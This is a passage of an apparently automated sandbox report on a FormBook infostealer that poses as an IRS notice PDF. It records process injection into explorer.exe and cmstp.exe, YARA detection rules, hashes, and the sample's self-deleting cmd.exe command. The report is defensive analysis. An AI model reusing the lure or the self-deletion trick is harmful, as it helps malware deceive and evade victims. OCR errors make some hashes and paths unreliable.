20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20
20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d
61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c
74 69 74 6¢ 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e Oa 3c
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e Oa 3c 2f 62 6f 64 79 3e Oa 3c 2f 68 74 6d 6¢ 3e
Oa

Data Ascii: <IDOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-
8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">  <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></html>
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Code Manipulations

Statistics

Behavior

@ IRS Notice Letter pdf document.exe
@ IRS Notice Letter pdf document.exe
@ explorer.exe

@ cmstp.exe

@ cmd.exe

@ conhost.exe

@

System Behavior

Click to jump to process

Analysis Process: IRS Notice Letter pdf document.exe PID: 6092 Parent PID: 6024

General

Start time: 16:22:46

Start date: 11/01/2021

Path: C:\Users\user\Desktop\IRS Notice Letter pdf document.exe
Wow64 process (32bit): true

Commandline: ‘C:\Users\user\Desktop\IRS Notice Letter pdf document.exe'
Imagebase: 0x400000

File size: 106496 bytes

MD5 hash: 3FC4D64F320D7FAEABB46F6A735AB853

Has elevated privileges: true

Has administrator privileges: true

Programmed in: Visual Basic

Reputation: low

File Activities

Source

File Path Access Attributes Options Completion Count Address Symbol
Source

File Path Offset Length Completion Count Address Symbol

Analysis Process: IRS Notice Letter pdf document.exe PID: 3788 Parent PID: 6092

General

Start time: 16:23:05
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Start date: 11/01/2021

Path: C:\Users\user\Desktop\IRS Notice Letter pdf document.exe

Wow64 process (32bit): true

Commandline: ‘C:\Users\user\Desktop\IRS Notice Letter pdf document.exe'

Imagebase: 0x400000

File size: 106496 bytes

MDS5 hash: 3FC4D64F320D7FAE4BB46F6A735AB853

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:

00000001.00000002.754908908.000000001DFF0000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000001.00000002.754908908.000000001DFF0000.00000040.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000001.00000002.754908908.000000001DFF0000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000001.00000002.751064707.00000000000A0000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000001.00000002.751064707.00000000000A0000.00000040.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000001.00000002.751064707.00000000000A0000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Reputation: low

File Activities

Source

File Path Access Attributes Options Completion Count Address Symbol

File Read

Source

File Path Offset Length Completion Count Address Symbol
C:\Windows\SysWOWe64\ntdll.dll 0 1622408 success or wait 1 4182A7 NtReadFile

Analysis Process: explorer.exe PID: 3424 Parent PID: 3788
General
Start time: 16:23:16
Start date: 11/01/2021
Path: C:\Windows\explorer.exe
Wow64 process (32bit): false
Commandline:
Imagebase: 0x7ff6fee60000
File size: 3933184 bytes
MD5 hash: AD5296B280E8F522A8A897C96BABOELD
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Reputation: high

File Activities

Source

File Path Offset Length Completion Count Address Symbol

Analysis Process: cmstp.exe PID: 2860 Parent PID: 3424
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General

Start time: 16:23:29

Start date: 11/01/2021

Path: C:\Windows\SysWOW64\cmstp.exe
Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\cmstp.exe
Imagebase: 0xca0000

File size: 82944 bytes

MDS5 hash: 4833E65ED211C7F118D4A11E6FB58A09
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:

00000003.00000002.1021169489.0000000000D60000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000003.00000002.1021169489.0000000000D60000.00000004.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:

00000003.00000002.1021169489.0000000000D60000.00000004.00000001.sdmp,

Author: JPCERT/CC Incident Response Group

Rule: LokiBot_Dropper_Packed_R11_Feb18, Description: Auto-generated rule - file scan

copy.pdf.ril, Source:

00000003.00000002.1022334778.0000000005467000.00000004.00000001.sdmp,

Author: Florian Roth

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000003.00000002.1021417062.00000000030C0000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000003.00000002.1021417062.00000000030C0000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:

00000003.00000002.1021417062.00000000030C0000.00000040.00000001.sdmp,

Author: JPCERT/CC Incident Response Group

Rule: LokiBot_Dropper_Packed_R11_Feb18, Description: Auto-generated rule - file scan

copy.pdf.ril, Source:

00000003.00000002.1021594863.000000000322D000.00000004.00000020.sdmp,

Author: Florian Roth

.

.

Reputation: moderate

File Activities

File Read
Source
File Path Offset Length Completion Count Address Symbol
C:\Windows\SysWOWe64\ntdll.dll 0 1622408 success or wait 1 30D82A7 NtReadFile

Analysis Process: cmd.exe PID: 4972 Parent PID: 2860

General

Start time: 16:23:33

Start date: 11/01/2021

Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit): true

Commandline: /c del 'C:\Users\user\Desktop\IRS Notice Letter pdf document.exe'
Imagebase: 0x11d0000

File size: 232960 bytes

MDS5 hash: F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Activities
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Source

File Path Access Attributes Options Completion Count Address Symbol
File Deleted
Source
File Path Completion Count Address Symbol
C:\Users\user\Desktop\IRS Notice Letter pdf document.exe cannot delete 1 11F0374 DeleteFileW
C:\Users\user\Desktop\IRS Notice Letter pdf document.exe cannot delete 1 11F0374 DeleteFileW
Analysis Process: conhost.exe PID: 5700 Parent PID: 4972
General
Start time: 16:23:34
Start date: 11/01/2021
Path: C:\Windows\System32\conhost.exe
Wow64 process (32bit): false
Commandline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
Imagebase: 0x7ff724c50000
File size: 625664 bytes
MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Reputation: high
Disassembly
Code Analysis
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